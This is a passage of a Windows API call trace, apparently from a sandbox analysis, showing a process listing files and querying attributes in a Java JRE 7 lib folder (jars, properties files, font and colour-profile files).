	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0055.047] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="i386", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532b480, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7532b480, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753515e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1aa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8204f, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753515e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753515e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7539d8a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2562c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x751d4820, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3124c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 1
	[0055.048] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.048] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), fInfoLevelId=0x0, lpFileInformation=0x124310e8 | out: lpFileInformation=0x124310e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b)) returned 1
	[0055.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), fInfoLevelId=0x0, lpFileInformation=0x12431138 | out: lpFileInformation=0x12431138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd)) returned 1
	[0055.050] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet"), fInfoLevelId=0x0, lpFileInformation=0x12431188 | out: lpFileInformation=0x12431188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.050] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.051] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.051] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.051] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties"), fInfoLevelId=0x0, lpFileInformation=0x124311d8 | out: lpFileInformation=0x124311d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1
	[0055.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), fInfoLevelId=0x0, lpFileInformation=0x12431228 | out: lpFileInformation=0x12431228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427)) returned 1
	[0055.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), fInfoLevelId=0x0, lpFileInformation=0x12431278 | out: lpFileInformation=0x12431278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12543)) returned 1
	[0055.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm"), fInfoLevelId=0x0, lpFileInformation=0x124312c8 | out: lpFileInformation=0x124312c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.052] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1
	[0055.053] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1
